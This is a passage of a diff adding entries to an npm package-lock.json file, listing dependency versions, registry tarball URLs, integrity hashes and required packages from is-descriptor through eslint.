+                    "version": "1.0.2",
+                    "resolved": "https://registry.npmjs.org/is-descriptor/-/is-descriptor-1.0.2.tgz",
+                    "integrity": "sha512-2eis5WqQGV7peooDyLmNEPUrps9+SXX5c9pL3xEB+4e9HnGuDa7mB7kHxHw4CbqS9k1T2hOH3miL8n8WtiYVtg==",
+                    "requires": {
+                        "is-accessor-descriptor": "^1.0.0",
+                        "is-data-descriptor": "^1.0.0",
+                        "kind-of": "^6.0.2"
+                    }
+                },
+                "is-extglob": {
+                    "version": "1.0.0",
+                    "resolved": "https://registry.npmjs.org/is-extglob/-/is-extglob-1.0.0.tgz",
+                    "integrity": "sha512-7Q+VbVafe6x2T+Tu6NcOf6sRklazEPmBoB3IWk3WdGZM2iGUwU/Oe3Wtq5lSEkDTTlpp8yx+5t4pzO/i9Ty1ww=="
+                },
+                "is-glob": {
+                    "version": "2.0.1",
+                    "resolved": "https://registry.npmjs.org/is-glob/-/is-glob-2.0.1.tgz",
+                    "integrity": "sha512-a1dBeB19NXsf/E0+FHqkagizel/LQw2DjSQpvQrj3zT+jYPpaUCryPnrQajXKFLCMuf4I6FhRpaGtw4lPrG6Eg==",
+                    "requires": {
+                        "is-extglob": "^1.0.0"
+                    }
+                },
+                "is-number": {
+                    "version": "3.0.0",
+                    "resolved": "https://registry.npmjs.org/is-number/-/is-number-3.0.0.tgz",
+                    "integrity": "sha512-4cboCqIpliH+mAvFNegjZQ4kgKc3ZUhQVr3HvWbSh5q3WH2v82ct+T2Y1hdU5Gdtorx/cLifQjqCbL7bpznLTg==",
+                    "requires": {
+                        "kind-of": "^3.0.2"
+                    },
+                    "dependencies": {
+                        "kind-of": {
+                            "version": "3.2.2",
+                            "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-3.2.2.tgz",
+                            "integrity": "sha512-NOW9QQXMoZGg/oqnVNoNTTIFEIid1627WCffUBJEdMxYApq7mNE7CpzucIPc+ZQg25Phej7IJSmX3hO+oblOtQ==",
+                            "requires": {
+                                "is-buffer": "^1.1.5"
+                            }
+                        }
+                    }
+                },
+                "isobject": {
+                    "version": "3.0.1",
+                    "resolved": "https://registry.npmjs.org/isobject/-/isobject-3.0.1.tgz",
+                    "integrity": "sha512-WhB9zCku7EGTj/HQQRz5aUQEUeoQZH2bWcltRErOpymJ4boYE6wL9Tbr23krRPSZ+C5zqNSrSw+Cc7sZZ4b7vg=="
+                },
+                "kind-of": {
+                    "version": "6.0.3",
+                    "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-6.0.3.tgz",
+                    "integrity": "sha512-dcS1ul+9tmeD95T+x28/ehLgd9mENa3LsvDTtzm3vyBEO7RPptvAD+t44WVXaUjTBRcrpFeFlC8WCruUR456hw=="
+                },
+                "marked": {
+                    "version": "0.3.19",
+                    "resolved": "https://registry.npmjs.org/marked/-/marked-0.3.19.tgz",
+                    "integrity": "sha512-ea2eGWOqNxPcXv8dyERdSr/6FmzvWwzjMxpfGB/sbMccXoct+xY+YukPD+QTUZwyvK7BZwcr4m21WBOW41pAkg=="
+                },
+                "normalize-path": {
+                    "version": "2.1.1",
+                    "resolved": "https://registry.npmjs.org/normalize-path/-/normalize-path-2.1.1.tgz",
+                    "integrity": "sha512-3pKJwH184Xo/lnH6oyP1q2pMd7HcypqqmRs91/6/i2CGtWwIKGCkOOMTm/zXbgTEWHw1uNpNi/igc3ePOYHb6w==",
+                    "requires": {
+                        "remove-trailing-separator": "^1.0.1"
+                    }
+                },
+                "readable-stream": {
+                    "version": "2.3.7",
+                    "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-2.3.7.tgz",
+                    "integrity": "sha512-Ebho8K4jIbHAxnuxi7o42OrZgF/ZTNcsZj6nRKyUmkhLFq8CHItp/fy6hQZuZmP/n3yZ9VBUbp4zz/mX8hmYPw==",
+                    "requires": {
+                        "core-util-is": "~1.0.0",
+                        "inherits": "~2.0.3",
+                        "isarray": "~1.0.0",
+                        "process-nextick-args": "~2.0.0",
+                        "safe-buffer": "~5.1.1",
+                        "string_decoder": "~1.1.1",
+                        "util-deprecate": "~1.0.1"
+                    }
+                },
+                "readdirp": {
+                    "version": "2.2.1",
+                    "resolved": "https://registry.npmjs.org/readdirp/-/readdirp-2.2.1.tgz",
+                    "integrity": "sha512-1JU/8q+VgFZyxwrJ+SVIOsh+KywWGpds3NTqikiKpDMZWScmAYyKIgqkO+ARvNWJfXeXR1zxz7aHF4u4CyH6vQ==",
+                    "requires": {
+                        "graceful-fs": "^4.1.11",
+                        "micromatch": "^3.1.10",
+                        "readable-stream": "^2.0.2"
+                    },
+                    "dependencies": {
+                        "micromatch": {
+                            "version": "3.1.10",
+                            "resolved": "https://registry.npmjs.org/micromatch/-/micromatch-3.1.10.tgz",
+                            "integrity": "sha512-MWikgl9n9M3w+bpsY3He8L+w9eF9338xRl8IAO5viDizwSzziFEyUzo2xrrloB64ADbTf8uA8vRqqttDTOmccg==",
+                            "requires": {
+                                "arr-diff": "^4.0.0",
+                                "array-unique": "^0.3.2",
+                                "braces": "^2.3.1",
+                                "define-property": "^2.0.2",
+                                "extend-shallow": "^3.0.2",
+                                "extglob": "^2.0.4",
+                                "fragment-cache": "^0.2.1",
+                                "kind-of": "^6.0.2",
+                                "nanomatch": "^1.2.9",
+                                "object.pick": "^1.3.0",
+                                "regex-not": "^1.0.0",
+                                "snapdragon": "^0.8.1",
+                                "to-regex": "^3.0.2"
+                            }
+                        }
+                    }
+                },
+                "to-regex-range": {
+                    "version": "2.1.1",
+                    "resolved": "https://registry.npmjs.org/to-regex-range/-/to-regex-range-2.1.1.tgz",
+                    "integrity": "sha512-ZZWNfCjUokXXDGXFpZehJIkZqq91BcULFq/Pi7M5i4JnxXdhMKAK682z8bCW3o8Hj1wuuzoKcW3DfVzaP6VuNg==",
+                    "requires": {
+                        "is-number": "^3.0.0",
+                        "repeat-string": "^1.6.1"
+                    }
+                }
+            }
+        },
+        "doctrine": {
+            "version": "2.1.0",
+            "resolved": "https://registry.npmjs.org/doctrine/-/doctrine-2.1.0.tgz",
+            "integrity": "sha512-35mSku4ZXK0vfCuHEDAwt55dg2jNajHZ1odvF+8SSr82EsZY4QmXfuWso8oEd8zRhVObSN18aM0CjSdoBX7zIw==",
+            "requires": {
+                "esutils": "^2.0.2"
+            }
+        },
+        "doctypes": {
+            "version": "1.1.0",
+            "resolved": "https://registry.npmjs.org/doctypes/-/doctypes-1.1.0.tgz",
+            "integrity": "sha512-LLBi6pEqS6Do3EKQ3J0NqHWV5hhb78Pi8vvESYwyOy2c31ZEZVdtitdzsQsKb7878PEERhzUk0ftqGhG6Mz+pQ=="
+        },
+        "dom-converter": {
+            "version": "0.2.0",
+            "resolved": "https://registry.npmjs.org/dom-converter/-/dom-converter-0.2.0.tgz",
+            "integrity": "sha512-gd3ypIPfOMr9h5jIKq8E3sHOTCjeirnl0WK5ZdS1AW0Odt0b1PaWaHdJ4Qk4klv+YB9aJBS7mESXjFoDQPu6DA==",
+            "requires": {
+                "utila": "~0.4"
+            }
+        },
+        "dom-serializer": {
+            "version": "1.4.1",
+            "resolved": "https://registry.npmjs.org/dom-serializer/-/dom-serializer-1.4.1.tgz",
+            "integrity": "sha512-VHwB3KfrcOOkelEG2ZOfxqLZdfkil8PtJi4P8N2MMXucZq2yLp75ClViUlOVwyoHEDjYU433Aq+5zWP61+RGag==",
+            "requires": {
+                "domelementtype": "^2.0.1",
+                "domhandler": "^4.2.0",
+                "entities": "^2.0.0"
+            }
+        },
+        "dom-walk": {
+            "version": "0.1.2",
+            "resolved": "https://registry.npmjs.org/dom-walk/-/dom-walk-0.1.2.tgz",
+            "integrity": "sha512-6QvTW9mrGeIegrFXdtQi9pk7O/nSK6lSdXW2eqUspN5LWD7UTji2Fqw5V2YLjBpHEoU9Xl/eUWNpDeZvoyOv2w=="
+        },
+        "domain-browser": {
+            "version": "1.2.0",
+            "resolved": "https://registry.npmjs.org/domain-browser/-/domain-browser-1.2.0.tgz",
+            "integrity": "sha512-jnjyiM6eRyZl2H+W8Q/zLMA481hzi0eszAaBUzIVnmYVDBbnLxVNnfu1HgEBvCbL+71FrxMl3E6lpKH7Ge3OXA=="
+        },
+        "domelementtype": {
+            "version": "2.3.0",
+            "resolved": "https://registry.npmjs.org/domelementtype/-/domelementtype-2.3.0.tgz",
+            "integrity": "sha512-OLETBj6w0OsagBwdXnPdN0cnMfF9opN69co+7ZrbfPGrdpPVNBUj02spi6B1N7wChLQiPn4CSH/zJvXw56gmHw=="
+        },
+        "domhandler": {
+            "version": "4.3.1",
+            "resolved": "https://registry.npmjs.org/domhandler/-/domhandler-4.3.1.tgz",
+            "integrity": "sha512-GrwoxYN+uWlzO8uhUXRl0P+kHE4GtVPfYzVLcUxPL7KNdHKj66vvlhiweIHqYYXWlw+T8iLMp42Lm67ghw4WMQ==",
+            "requires": {
+                "domelementtype": "^2.2.0"
+            }
+        },
+        "domutils": {
+            "version": "2.8.0",
+            "resolved": "https://registry.npmjs.org/domutils/-/domutils-2.8.0.tgz",
+            "integrity": "sha512-w96Cjofp72M5IIhpjgobBimYEfoPjx1Vx0BSX9P30WBdZW2WIKU0T1Bd0kz2eNZ9ikjKgHbEyKx8BB6H1L3h3A==",
+            "requires": {
+                "dom-serializer": "^1.0.1",
+                "domelementtype": "^2.2.0",
+                "domhandler": "^4.2.0"
+            }
+        },
+        "dot-prop": {
+            "version": "5.3.0",
+            "resolved": "https://registry.npmjs.org/dot-prop/-/dot-prop-5.3.0.tgz",
+            "integrity": "sha512-QM8q3zDe58hqUqjraQOmzZ1LIH9SWQJTlEKCH4kJ2oQvLZk7RbQXvtDM2XEq3fwkV9CCvvH4LA0AV+ogFsBM2Q==",
+            "requires": {
+                "is-obj": "^2.0.0"
+            }
+        },
+        "dotenv": {
+            "version": "8.6.0",
+            "resolved": "https://registry.npmjs.org/dotenv/-/dotenv-8.6.0.tgz",
+            "integrity": "sha512-IrPdXQsk2BbzvCBGBOTmmSH5SodmqZNt4ERAZDmW4CT+tL8VtvinqywuANaFu4bOMWki16nqf0e4oC0QIaDr/g=="
+        },
+        "duplexer": {
+            "version": "0.1.2",
+            "resolved": "https://registry.npmjs.org/duplexer/-/duplexer-0.1.2.tgz",
+            "integrity": "sha512-jtD6YG370ZCIi/9GTaJKQxWTZD045+4R4hTk/x1UyoqadyJ9x9CgSi1RlVDQF8U2sxLLSnFkCaMihqljHIWgMg=="
+        },
+        "duplexer3": {
+            "version": "0.1.4",
+            "resolved": "https://registry.npmjs.org/duplexer3/-/duplexer3-0.1.4.tgz",
+            "integrity": "sha512-CEj8FwwNA4cVH2uFCoHUrmojhYh1vmCdOaneKJXwkeY1i9jnlslVo9dx+hQ5Hl9GnH/Bwy/IjxAyOePyPKYnzA=="
+        },
+        "duplexify": {
+            "version": "3.7.1",
+            "resolved": "https://registry.npmjs.org/duplexify/-/duplexify-3.7.1.tgz",
+            "integrity": "sha512-07z8uv2wMyS51kKhD1KsdXJg5WQ6t93RneqRxUHnskXVtlYYkLqM0gqStQZ3pj073g687jPCHrqNfCzawLYh5g==",
+            "requires": {
+                "end-of-stream": "^1.0.0",
+                "inherits": "^2.0.1",
+                "readable-stream": "^2.0.0",
+                "stream-shift": "^1.0.0"
+            },
+            "dependencies": {
+                "readable-stream": {
+                    "version": "2.3.7",
+                    "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-2.3.7.tgz",
+                    "integrity": "sha512-Ebho8K4jIbHAxnuxi7o42OrZgF/ZTNcsZj6nRKyUmkhLFq8CHItp/fy6hQZuZmP/n3yZ9VBUbp4zz/mX8hmYPw==",
+                    "requires": {
+                        "core-util-is": "~1.0.0",
+                        "inherits": "~2.0.3",
+                        "isarray": "~1.0.0",
+                        "process-nextick-args": "~2.0.0",
+                        "safe-buffer": "~5.1.1",
+                        "string_decoder": "~1.1.1",
+                        "util-deprecate": "~1.0.1"
+                    }
+                }
+            }
+        },
+        "ecc-jsbn": {
+            "version": "0.1.2",
+            "resolved": "https://registry.npmjs.org/ecc-jsbn/-/ecc-jsbn-0.1.2.tgz",
+            "integrity": "sha512-eh9O+hwRHNbG4BLTjEl3nw044CkGm5X6LoaCf7LPp7UU8Qrt47JYNi6nPX8xjW97TKGKm1ouctg0QSpZe9qrnw==",
+            "requires": {
+                "jsbn": "~0.1.0",
+                "safer-buffer": "^2.1.0"
+            }
+        },
+        "ee-first": {
+            "version": "1.1.1",
+            "resolved": "https://registry.npmjs.org/ee-first/-/ee-first-1.1.1.tgz",
+            "integrity": "sha512-WMwm9LhRUo+WUaRN+vRuETqG89IgZphVSNkdFgeb6sS/E4OrDIN7t48CAewSHXc6C8lefD8KKfr5vY61brQlow=="
+        },
+        "electron-to-chromium": {
+            "version": "1.4.220",
+            "resolved": "https://registry.npmjs.org/electron-to-chromium/-/electron-to-chromium-1.4.220.tgz",
+            "integrity": "sha512-RA6Mn51gj2lyeAt/MiuVV+85tN8vt1jbWP+kx7S84htJ0MbIHGHdnVm+j+HzZQp69O6gWmhLBJ+Wpk2c445+ZA=="
+        },
+        "elliptic": {
+            "version": "6.5.4",
+            "resolved": "https://registry.npmjs.org/elliptic/-/elliptic-6.5.4.tgz",
+            "integrity": "sha512-iLhC6ULemrljPZb+QutR5TQGB+pdW6KGD5RSegS+8sorOZT+rdQFbsQFJgvN3eRqNALqJer4oQ16YvJHlU8hzQ==",
+            "requires": {
+                "bn.js": "^4.11.9",
+                "brorand": "^1.1.0",
+                "hash.js": "^1.0.0",
+                "hmac-drbg": "^1.0.1",
+                "inherits": "^2.0.4",
+                "minimalistic-assert": "^1.0.1",
+                "minimalistic-crypto-utils": "^1.0.1"
+            },
+            "dependencies": {
+                "bn.js": {
+                    "version": "4.12.0",
+                    "resolved": "https://registry.npmjs.org/bn.js/-/bn.js-4.12.0.tgz",
+                    "integrity": "sha512-c98Bf3tPniI+scsdk237ku1Dc3ujXQTSgyiPUDEOe7tRkhrqridvh8klBv0HCEso1OLOYcHuCv/cS6DNxKH+ZA=="
+                }
+            }
+        },
+        "emoji-regex": {
+            "version": "8.0.0",
+            "resolved": "https://registry.npmjs.org/emoji-regex/-/emoji-regex-8.0.0.tgz",
+            "integrity": "sha512-MSjYzcWNOA0ewAHpz0MxpYFvwg6yjy1NG3xteoqz644VCo/RPgnr1/GGt+ic3iJTzQ8Eu3TdM14SawnVUmGE6A=="
+        },
+        "emojis-list": {
+            "version": "3.0.0",
+            "resolved": "https://registry.npmjs.org/emojis-list/-/emojis-list-3.0.0.tgz",
+            "integrity": "sha512-/kyM18EfinwXZbno9FyUGeFh87KC8HRQBQGildHZbEuRyWFOmv1U10o9BBp8XVZDVNNuQKyIGIu5ZYAAXJ0V2Q=="
+        },
+        "encodeurl": {
+            "version": "1.0.2",
+            "resolved": "https://registry.npmjs.org/encodeurl/-/encodeurl-1.0.2.tgz",
+            "integrity": "sha512-TPJXq8JqFaVYm2CWmPvnP2Iyo4ZSM7/QKcSmuMLDObfpH5fi7RUGmd/rTDf+rut/saiDiQEeVTNgAmJEdAOx0w=="
+        },
+        "end-of-stream": {
+            "version": "1.4.4",
+            "resolved": "https://registry.npmjs.org/end-of-stream/-/end-of-stream-1.4.4.tgz",
+            "integrity": "sha512-+uw1inIHVPQoaVuHzRyXd21icM+cnt4CzD5rW+NC1wjOUSTOs+Te7FOv7AhN7vS9x/oIyhLP5PR1H+phQAHu5Q==",
+            "requires": {
+                "once": "^1.4.0"
+            }
+        },
+        "engine.io": {
+            "version": "4.1.2",
+            "resolved": "https://registry.npmjs.org/engine.io/-/engine.io-4.1.2.tgz",
+            "integrity": "sha512-t5z6zjXuVLhXDMiFJPYsPOWEER8B0tIsD3ETgw19S1yg9zryvUfY3Vhtk3Gf4sihw/bQGIqQ//gjvVlu+Ca0bQ==",
+            "requires": {
+                "accepts": "~1.3.4",
+                "base64id": "2.0.0",
+                "cookie": "~0.4.1",
+                "cors": "~2.8.5",
+                "debug": "~4.3.1",
+                "engine.io-parser": "~4.0.0",
+                "ws": "~7.4.2"
+            },
+            "dependencies": {
+                "cookie": {
+                    "version": "0.4.2",
+                    "resolved": "https://registry.npmjs.org/cookie/-/cookie-0.4.2.tgz",
+                    "integrity": "sha512-aSWTXFzaKWkvHO1Ny/s+ePFpvKsPnjc551iI41v3ny/ow6tBG5Vd+FuqGNhh1LxOmVzOlGUriIlOaokOvhaStA=="
+                },
+                "debug": {
+                    "version": "4.3.4",
+                    "resolved": "https://registry.npmjs.org/debug/-/debug-4.3.4.tgz",
+                    "integrity": "sha512-PRWFHuSU3eDtQJPvnNY7Jcket1j0t5OuOsFzPPzsekD52Zl8qUfFIPEiswXqIvHWGVHOgX+7G/vCNNhehwxfkQ==",
+                    "requires": {
+                        "ms": "2.1.2"
+                    }
+                },
+                "ms": {
+                    "version": "2.1.2",
+                    "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.2.tgz",
+                    "integrity": "sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w=="
+                }
+            }
+        },
+        "engine.io-client": {
+            "version": "4.1.4",
+            "resolved": "https://registry.npmjs.org/engine.io-client/-/engine.io-client-4.1.4.tgz",
+            "integrity": "sha512-843fqAdKeUMFqKi1sSjnR11tJ4wi8sIefu6+JC1OzkkJBmjtc/gM/rZ53tJfu5Iae/3gApm5veoS+v+gtT0+Fg==",
+            "requires": {
+                "base64-arraybuffer": "0.1.4",
+                "component-emitter": "~1.3.0",
+                "debug": "~4.3.1",
+                "engine.io-parser": "~4.0.1",
+                "has-cors": "1.1.0",
+                "parseqs": "0.0.6",
+                "parseuri": "0.0.6",
+                "ws": "~7.4.2",
+                "xmlhttprequest-ssl": "~1.6.2",
+                "yeast": "0.1.2"
+            },
+            "dependencies": {
+                "debug": {
+                    "version": "4.3.4",
+                    "resolved": "https://registry.npmjs.org/debug/-/debug-4.3.4.tgz",
+                    "integrity": "sha512-PRWFHuSU3eDtQJPvnNY7Jcket1j0t5OuOsFzPPzsekD52Zl8qUfFIPEiswXqIvHWGVHOgX+7G/vCNNhehwxfkQ==",
+                    "requires": {
+                        "ms": "2.1.2"
+                    }
+                },
+                "ms": {
+                    "version": "2.1.2",
+                    "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.2.tgz",
+                    "integrity": "sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w=="
+                }
+            }
+        },
+        "engine.io-parser": {
+            "version": "4.0.3",
+            "resolved": "https://registry.npmjs.org/engine.io-parser/-/engine.io-parser-4.0.3.tgz",
+            "integrity": "sha512-xEAAY0msNnESNPc00e19y5heTPX4y/TJ36gr8t1voOaNmTojP9b3oK3BbJLFufW2XFPQaaijpFewm2g2Um3uqA==",
+            "requires": {
+                "base64-arraybuffer": "0.1.4"
+            }
+        },
+        "enhanced-resolve": {
+            "version": "4.5.0",
+            "resolved": "https://registry.npmjs.org/enhanced-resolve/-/enhanced-resolve-4.5.0.tgz",
+            "integrity": "sha512-Nv9m36S/vxpsI+Hc4/ZGRs0n9mXqSWGGq49zxb/cJfPAQMbUtttJAlNPS4AQzaBdw/pKskw5bMbekT/Y7W/Wlg==",
+            "requires": {
+                "graceful-fs": "^4.1.2",
+                "memory-fs": "^0.5.0",
+                "tapable": "^1.0.0"
+            },
+            "dependencies": {
+                "memory-fs": {
+                    "version": "0.5.0",
+                    "resolved": "https://registry.npmjs.org/memory-fs/-/memory-fs-0.5.0.tgz",
+                    "integrity": "sha512-jA0rdU5KoQMC0e6ppoNRtpp6vjFq6+NY7r8hywnC7V+1Xj/MtHwGIbB1QaK/dunyjWteJzmkpd7ooeWg10T7GA==",
+                    "requires": {
+                        "errno": "^0.1.3",
+                        "readable-stream": "^2.0.1"
+                    }
+                },
+                "readable-stream": {
+                    "version": "2.3.7",
+                    "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-2.3.7.tgz",
+                    "integrity": "sha512-Ebho8K4jIbHAxnuxi7o42OrZgF/ZTNcsZj6nRKyUmkhLFq8CHItp/fy6hQZuZmP/n3yZ9VBUbp4zz/mX8hmYPw==",
+                    "requires": {
+                        "core-util-is": "~1.0.0",
+                        "inherits": "~2.0.3",
+                        "isarray": "~1.0.0",
+                        "process-nextick-args": "~2.0.0",
+                        "safe-buffer": "~5.1.1",
+                        "string_decoder": "~1.1.1",
+                        "util-deprecate": "~1.0.1"
+                    }
+                }
+            }
+        },
+        "entities": {
+            "version": "2.2.0",
+            "resolved": "https://registry.npmjs.org/entities/-/entities-2.2.0.tgz",
+            "integrity": "sha512-p92if5Nz619I0w+akJrLZH0MX0Pb5DX39XOwQTtXSdQQOaYH03S1uIQp4mhOZtAXrxq4ViO67YTiLBo2638o9A=="
+        },
+        "envinfo": {
+            "version": "7.8.1",
+            "resolved": "https://registry.npmjs.org/envinfo/-/envinfo-7.8.1.tgz",
+            "integrity": "sha512-/o+BXHmB7ocbHEAs6F2EnG0ogybVVUdkRunTT2glZU9XAaGmhqskrvKwqXuDfNjEO0LZKWdejEEpnq8aM0tOaw=="
+        },
+        "eol": {
+            "version": "0.9.1",
+            "resolved": "https://registry.npmjs.org/eol/-/eol-0.9.1.tgz",
+            "integrity": "sha512-Ds/TEoZjwggRoz/Q2O7SE3i4Jm66mqTDfmdHdq/7DKVk3bro9Q8h6WdXKdPqFLMoqxrDK5SVRzHVPOS6uuGtrg=="
+        },
+        "errno": {
+            "version": "0.1.8",
+            "resolved": "https://registry.npmjs.org/errno/-/errno-0.1.8.tgz",
+            "integrity": "sha512-dJ6oBr5SQ1VSd9qkk7ByRgb/1SH4JZjCHSW/mr63/QcXO9zLVxvJ6Oy13nio03rxpSnVDDjFor75SjVeZWPW/A==",
+            "requires": {
+                "prr": "~1.0.1"
+            }
+        },
+        "error-ex": {
+            "version": "1.3.2",
+            "resolved": "https://registry.npmjs.org/error-ex/-/error-ex-1.3.2.tgz",
+            "integrity": "sha512-7dFHNmqeFSEt2ZBsCriorKnn3Z2pj+fd9kmI6QoWw4//DL+icEBfc0U7qJCisqrTsKTjw4fNFy2pW9OqStD84g==",
+            "requires": {
+                "is-arrayish": "^0.2.1"
+            }
+        },
+        "error-stack-parser": {
+            "version": "2.1.4",
+            "resolved": "https://registry.npmjs.org/error-stack-parser/-/error-stack-parser-2.1.4.tgz",
+            "integrity": "sha512-Sk5V6wVazPhq5MhpO+AUxJn5x7XSXGl1R93Vn7i+zS15KDVxQijejNCrz8340/2bgLBjR9GtEG8ZVKONDjcqGQ==",
+            "requires": {
+                "stackframe": "^1.3.4"
+            }
+        },
+        "es-abstract": {
+            "version": "1.20.1",
+            "resolved": "https://registry.npmjs.org/es-abstract/-/es-abstract-1.20.1.tgz",
+            "integrity": "sha512-WEm2oBhfoI2sImeM4OF2zE2V3BYdSF+KnSi9Sidz51fQHd7+JuF8Xgcj9/0o+OWeIeIS/MiuNnlruQrJf16GQA==",
+            "requires": {
+                "call-bind": "^1.0.2",
+                "es-to-primitive": "^1.2.1",
+                "function-bind": "^1.1.1",
+                "function.prototype.name": "^1.1.5",
+                "get-intrinsic": "^1.1.1",
+                "get-symbol-description": "^1.0.0",
+                "has": "^1.0.3",
+                "has-property-descriptors": "^1.0.0",
+                "has-symbols": "^1.0.3",
+                "internal-slot": "^1.0.3",
+                "is-callable": "^1.2.4",
+                "is-negative-zero": "^2.0.2",
+                "is-regex": "^1.1.4",
+                "is-shared-array-buffer": "^1.0.2",
+                "is-string": "^1.0.7",
+                "is-weakref": "^1.0.2",
+                "object-inspect": "^1.12.0",
+                "object-keys": "^1.1.1",
+                "object.assign": "^4.1.2",
+                "regexp.prototype.flags": "^1.4.3",
+                "string.prototype.trimend": "^1.0.5",
+                "string.prototype.trimstart": "^1.0.5",
+                "unbox-primitive": "^1.0.2"
+            }
+        },
+        "es-array-method-boxes-properly": {
+            "version": "1.0.0",
+            "resolved": "https://registry.npmjs.org/es-array-method-boxes-properly/-/es-array-method-boxes-properly-1.0.0.tgz",
+            "integrity": "sha512-wd6JXUmyHmt8T5a2xreUwKcGPq6f1f+WwIJkijUqiGcJz1qqnZgP6XIK+QyIWU5lT7imeNxUll48bziG+TSYcA=="
+        },
+        "es-shim-unscopables": {
+            "version": "1.0.0",
+            "resolved": "https://registry.npmjs.org/es-shim-unscopables/-/es-shim-unscopables-1.0.0.tgz",
+            "integrity": "sha512-Jm6GPcCdC30eMLbZ2x8z2WuRwAws3zTBBKuusffYVUrNj/GVSUAZ+xKMaUpfNDR5IbyNA5LJbaecoUVbmUcB1w==",
+            "requires": {
+                "has": "^1.0.3"
+            }
+        },
+        "es-to-primitive": {
+            "version": "1.2.1",
+            "resolved": "https://registry.npmjs.org/es-to-primitive/-/es-to-primitive-1.2.1.tgz",
+            "integrity": "sha512-QCOllgZJtaUo9miYBcLChTUaHNjJF3PYs1VidD7AwiEj1kYxKeQTctLAezAOH5ZKRH0g2IgPn6KwB4IT8iRpvA==",
+            "requires": {
+                "is-callable": "^1.1.4",
+                "is-date-object": "^1.0.1",
+                "is-symbol": "^1.0.2"
+            }
+        },
+        "es5-ext": {
+            "version": "0.10.62",
+            "resolved": "https://registry.npmjs.org/es5-ext/-/es5-ext-0.10.62.tgz",
+            "integrity": "sha512-BHLqn0klhEpnOKSrzn/Xsz2UIW8j+cGmo9JLzr8BiUapV8hPL9+FliFqjwr9ngW7jWdnxv6eO+/LqyhJVqgrjA==",
+            "requires": {
+                "es6-iterator": "^2.0.3",
+                "es6-symbol": "^3.1.3",
+                "next-tick": "^1.1.0"
+            }
+        },
+        "es6-iterator": {
+            "version": "2.0.3",
+            "resolved": "https://registry.npmjs.org/es6-iterator/-/es6-iterator-2.0.3.tgz",
+            "integrity": "sha512-zw4SRzoUkd+cl+ZoE15A9o1oQd920Bb0iOJMQkQhl3jNc03YqVjAhG7scf9C5KWRU/R13Orf588uCC6525o02g==",
+            "requires": {
+                "d": "1",
+                "es5-ext": "^0.10.35",
+                "es6-symbol": "^3.1.1"
+            }
+        },
+        "es6-symbol": {
+            "version": "3.1.3",
+            "resolved": "https://registry.npmjs.org/es6-symbol/-/es6-symbol-3.1.3.tgz",
+            "integrity": "sha512-NJ6Yn3FuDinBaBRWl/q5X/s4koRHBrgKAu+yGI6JCBeiu3qrcbJhwT2GeR/EXVfylRk8dpQVJoLEFhK+Mu31NA==",
+            "requires": {
+                "d": "^1.0.1",
+                "ext": "^1.1.2"
+            }
+        },
+        "es6-weak-map": {
+            "version": "2.0.3",
+            "resolved": "https://registry.npmjs.org/es6-weak-map/-/es6-weak-map-2.0.3.tgz",
+            "integrity": "sha512-p5um32HOTO1kP+w7PRnB+5lQ43Z6muuMuIMffvDN8ZB4GcnjLBV6zGStpbASIMk4DCAvEaamhe2zhyCb/QXXsA==",
+            "requires": {
+                "d": "1",
+                "es5-ext": "^0.10.46",
+                "es6-iterator": "^2.0.3",
+                "es6-symbol": "^3.1.1"
+            }
+        },
+        "escalade": {
+            "version": "3.1.1",
+            "resolved": "https://registry.npmjs.org/escalade/-/escalade-3.1.1.tgz",
+            "integrity": "sha512-k0er2gUkLf8O0zKJiAhmkTnJlTvINGv7ygDNPbeIsX/TJjGJZHuh9B2UxbsaEkmlEo9MfhrSzmhIlhRlI2GXnw=="
+        },
+        "escape-goat": {
+            "version": "2.1.1",
+            "resolved": "https://registry.npmjs.org/escape-goat/-/escape-goat-2.1.1.tgz",
+            "integrity": "sha512-8/uIhbG12Csjy2JEW7D9pHbreaVaS/OpN3ycnyvElTdwM5n6GY6W6e2IPemfvGZeUMqZ9A/3GqIZMgKnBhAw/Q=="
+        },
+        "escape-html": {
+            "version": "1.0.3",
+            "resolved": "https://registry.npmjs.org/escape-html/-/escape-html-1.0.3.tgz",
+            "integrity": "sha512-NiSupZ4OeuGwr68lGIeym/ksIZMJodUGOSCZ/FSnTxcrekbvqrgdUxlJOMpijaKZVjAJrWrGs/6Jy8OMuyj9ow=="
+        },
+        "escape-string-regexp": {
+            "version": "1.0.5",
+            "resolved": "https://registry.npmjs.org/escape-string-regexp/-/escape-string-regexp-1.0.5.tgz",
+            "integrity": "sha512-vbRorB5FUQWvla16U8R/qgaFIya2qGzwDrNmCZuYKrbdSUMG6I1ZCGQRefkRVhuOkIGVne7BQ35DSfo1qvJqFg=="
+        },
+        "eslint": {
+            "version": "6.8.0",
+            "resolved": "https://registry.npmjs.org/eslint/-/eslint-6.8.0.tgz",
+            "integrity": "sha512-K+Iayyo2LtyYhDSYwz5D5QdWw0hCacNzyq1Y821Xna2xSJj7cijoLLYmLxTQgcgZ9mC61nryMy9S7GRbYpI5Ig==",
+            "requires": {
+                "@babel/code-frame": "^7.0.0",
+                "ajv": "^6.10.0",
+                "chalk": "^2.1.0",
+                "cross-spawn": "^6.0.5",
+                "debug": "^4.0.1",
+                "doctrine": "^3.0.0",
+                "eslint-scope": "^5.0.0",
+                "eslint-utils": "^1.4.3",
+                "eslint-visitor-keys": "^1.1.0",
+                "espree": "^6.1.2",
+                "esquery": "^1.0.1",
+                "esutils": "^2.0.2",
+                "file-entry-cache": "^5.0.1",
+                "functional-red-black-tree": "^1.0.1",
+                "glob-parent": "^5.0.0",
+                "globals": "^12.1.0",
+                "ignore": "^4.0.6",
+                "import-fresh": "^3.0.0",
+                "imurmurhash": "^0.1.4",
+                "inquirer": "^7.0.0",
+                "is-glob": "^4.0.0",
+                "js-yaml": "^3.13.1",
+                "json-stable-stringify-without-jsonify": "^1.0.1",
+                "levn": "^0.3.0",
+                "lodash": "^4.17.14",
+                "minimatch": "^3.0.4",
+                "mkdirp": "^0.5.1",
+                "natural-compare": "^1.4.0",
